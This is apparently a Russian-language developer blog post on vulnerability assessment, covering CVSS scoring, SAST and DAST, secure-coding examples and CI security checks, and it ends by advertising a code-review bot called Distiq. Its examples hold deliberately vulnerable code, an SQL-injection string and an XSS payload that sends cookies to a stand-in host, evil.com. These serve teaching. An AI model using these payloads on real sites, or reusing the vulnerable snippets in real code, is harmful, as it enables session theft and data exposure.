Помню, как на одном проекте наша команда выпустила фичу с SQL-инъекцией. Не критичной, но достаточной, чтобы спецслужба соседнего стартапа смогла вытащить данные. Обнаружили в продакшене. Спасло только то, что у нас был хороший мониторинг аномалий в БД.
После этого мы поняли: нужна система. Не просто код-ревью от человека, а стройная методология оценки уязвимостей. Это не про паранойю — это про то, чтобы ловить проблемы на этапе разработки, когда их исправить в 10 раз дешевле.
Сейчас расскажу, как это работает.
Что вообще такое оценка уязвимости и зачем она разработчику
Оценка уязвимости — это не просто "нашли баг и записали в баг-трекер". Это систематический процесс: найти проблему, определить её серьёзность, понять, кто от неё может пострадать, и приоритизировать исправление.
По-хорошему, нужно ответить на четыре вопроса:
Что именно уязвимо? Конкретный кусок кода, API-эндпоинт, библиотека с дырой.
Как её эксплуатировать? Просто знать, что баг есть — мало. Нужно понимать цепочку действий злоумышленника.
Какой ущерб? Потеря данных, отказ в обслуживании, утечка персональных данных, финансовый убыток.
Что срочнее? Если у тебя 50 уязвимостей, нужно знать, за какую взяться первой.
Большинство команд этим пренебрегают. "Ну нашли, исправим когда-нибудь" — и результат: через полгода продакшен ходит на минном поле.
CVSS: как оценить серьёзность по науке
CVSS (Common Vulnerability Scoring System) — это не я придумал, это стандарт, которым пользуются все крупные компании и госструктуры. Выглядит страшновато, но на деле просто берёшь несколько параметров и считаешь баллы.
Вот базовые параметры CVSS v3.1:
Вектор атаки (AV) — откуда можно напасть? С локальной машины, по сети, через физический доступ.
Сложность (AC) — легко ли эксплуатировать? Нужны ли специальные условия?
Привилегии (PR) — нужна ли аутентификация? Может ли обычный пользователь это сделать?
Взаимодействие (UI) — нужны ли действия пользователя? Или можно всё сделать автоматически?
Область влияния (S) — влияет только на уязвимый компонент или на систему в целом?
Конфиденциальность, целостность, доступность (CIA) — что именно может произойти?
Формула сложная, но результат — число от 0 до 10. Выше 9 — критическая. 7-9 — высокая. 4-7 — средняя. Ниже 4 — низкая.
На практике используют онлайн-калькулятор CVSS. Например, вот уязвимость: SQL-инъекция в админ-панели, требует аутентификации, влияет только на одного пользователя.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Результат — 7.2 (высокая). Значит, в приоритет, но не критически срочно.
Где жить уязвимостям: SAST vs DAST
Если честно, большинство разработчиков слышали эти аббревиатуры, но не совсем понимают разницу.
SAST (Static Application Security Testing) — это анализ кода "в покое". Инструмент читает исходный код и ищет опасные паттерны. Быстро, даёшь результаты на каждый коммит, но иногда ложные срабатывания.
DAST (Dynamic Application Security Testing) — это "ударить по живому". Запускаешь приложение и пытаешься его сломать. Реалистичнее, но медленнее и требует работающей инфраструктуры.
На одном проекте мы использовали оба. SAST ловил 70% проблем на этапе code review. DAST находил то, что статический анализ пропустил — например, проблемы с конфигурацией или взаимодействием компонентов.
Ты можешь начать с SAST. Это проще и дешевле.
Типичные уязвимости в коде и как их ловить
Давай на конкретных примерах. Вот что видел чаще всего за 10 лет:
SQL-инъекция
Классика жанра. Вот опасный код:
# ПЛОХО: уязвимо
username = request.args.get('username')
query = f"SELECT * FROM users WHERE name = '{username}'"
result = db.execute(query)
Пользователь пишет admin' OR '1'='1 и вуаля — видит всех юзеров.
Исправляется просто — параметризованные запросы:
# ХОРОШО: защищено
username = request.args.get('username')
query = "SELECT * FROM users WHERE name = ?"
result = db.execute(query, (username,))
SAST-инструменты это ловят обычно сразу. SonarQube, Checkmarx, даже встроенные в IDE проверяют.
XSS (Cross-Site Scripting)
Пользователь вводит HTML/JavaScript, а ты это выводишь на страницу без экранирования.
// ПЛОХО
const comment = getUserInput();
document.getElementById('comments').innerHTML = comment;
// Пользователь вводит: <img src=x onerror="fetch('http://evil.com?cookies=' + document.cookie)">
// И его cookies летят на evil.com
Исправление:
// ХОРОШО
const comment = getUserInput();
document.getElementById('comments').textContent = comment; // textContent не парсит HTML
// Или используй библиотеку для экранирования
import DOMPurify from 'dompurify';
document.getElementById('comments').innerHTML = DOMPurify.sanitize(comment);
Уязвимости в зависимостях
Это сейчас главная головная боль. Ты пишешь код идеально, но подключаешь npm-пакет, в котором дыра.
Команда npm audit показывает известные уязвимости:
npm audit
# ...
# 3 moderate severity vulnerabilities
# Run `npm audit fix` to fix them
Проблема в том, что npm audit fix не всегда работает. Иногда нужно ждать, пока мейнтейнер обновит пакет.
В pipeline это должно быть автоматизировано. Например, в GitHub Actions:
- name: Run npm audit
run: npm audit --audit-level=moderate
Если найдётся уязвимость средней серьёзности или выше — build падает.
Hardcoded credentials
Пароли, API-ключи прямо в коде. Как-то видел в GitHub приватный репо, где в конфиге лежала база паролей от всех серверов. Не смешно.
# ПЛОХО
API_KEY = "sk-1234567890abcdef"
DB_PASSWORD = "SuperSecretPass123"
Git-hooks и SAST инструменты ловят паттерны типа password=, api_key=, secret=. Но лучше использовать специализированные инструменты:
- TruffleHog — сканирует git-историю на секреты
- detect-secrets — находит credentials в Python-проектах
trufflehog git https://github.com/yourrepo.git --json
CSRF (Cross-Site Request Forgery)
Сложнее объяснить, но суть: злоумышленник заставляет браузер пользователя выполнить действие на другом сайте.
Например, пользователь открыл вредоносный сайт, а его браузер в фоне выполнил POST /api/transfer-money?to=attacker&amount=1000 к твоему приложению.
Защита — CSRF-токены:
<!-- В форме -->
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="random-unique-token">
<input type="text" name="amount">
<button>Отправить</button>
</form>
На сервере проверяешь, что токен совпадает. Фреймворки типа Django, Flask, Express делают это по умолчанию.
Автоматизация в pipeline: как не пропустить ничего
Ручной code review уже не масштабируется. Нужна автоматизация.
Вот базовая схема CI/CD с проверками безопасности:
# .github/workflows/security.yml
name: Security Checks
on: [pull_request, push]
jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
# Статический анализ
- name: Run SonarQube scan
uses: SonarSource/sonarcloud-github-action@master
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
# Проверка зависимостей
- name: Check dependencies
run: npm audit --audit-level=moderate
# Поиск секретов
- name: Scan for secrets
uses: trufflesecurity/trufflehog@main
with:
path: ./
base: ${{ github.event.repository.default_branch }}
head: HEAD
Для Python проектов добавляешь:
- name: Bandit security check
run: |
pip install bandit
bandit -r . -f json -o bandit-report.json
Bandit ищет типичные уязвимости в Python:
bandit -r ./app/
# Issue: [B602:shell_injection] Possible shell injection via Popen
# Location: app/utils.py, line 45
На одном проекте мы внедрили такую схему и количество security-related багов в продакшене упало на 85%. Не потому что мы стали лучше писать код, а потому что система ловила ошибки раньше.
Практический процесс: от нахождения до исправления
Вот как это выглядит у нас:
-
SAST-инструмент находит проблему в PR и оставляет комментарий.
-
Разработчик смотрит на замечание. Иногда это false positive (ложное срабатывание), иногда реальная уязвимость.
-
Оцениваем по CVSS. Если критическая — блокируем merge. Если средняя — можем merge, но в задачу кладём исправление.
-
Исправляем и добавляем тест, чтобы не повторить ошибку.
-
Monitoring в продакшене. Даже если что-то пропустили, логируем попытки эксплуатации.
Кстати, именно для автоматизации этого процесса и создан Distiq. Бот интегрируется с GitHub/GitLab, анализирует каждый PR и оставляет инлайн-комментарии с замечаниями о безопасности, производительности и стиле кода. Это как иметь security-специалиста в каждом PR — но без зарплаты и выходных.
Что дальше
Если ты только начинаешь:
Шаг 1 — внедри SAST-инструмент. SonarQube бесплатен для open source. Для приватных репо есть бюджетные планы.
Шаг 2 — добавь проверку уязвимостей в зависимостях. npm audit или pip-audit работают из коробки.
Шаг 3 — настрой git-hooks, чтобы не коммитить секреты. pre-commit фреймворк очень помогает.
Шаг 4 — научи команду думать о безопасности. Не как о "чём-то для security-специалистов", а как о базовом качестве кода.
Ну и конечно, интегрируй Distiq в свой CI/CD. Это займёт буквально 2 минуты, зато будешь спать спокойнее.
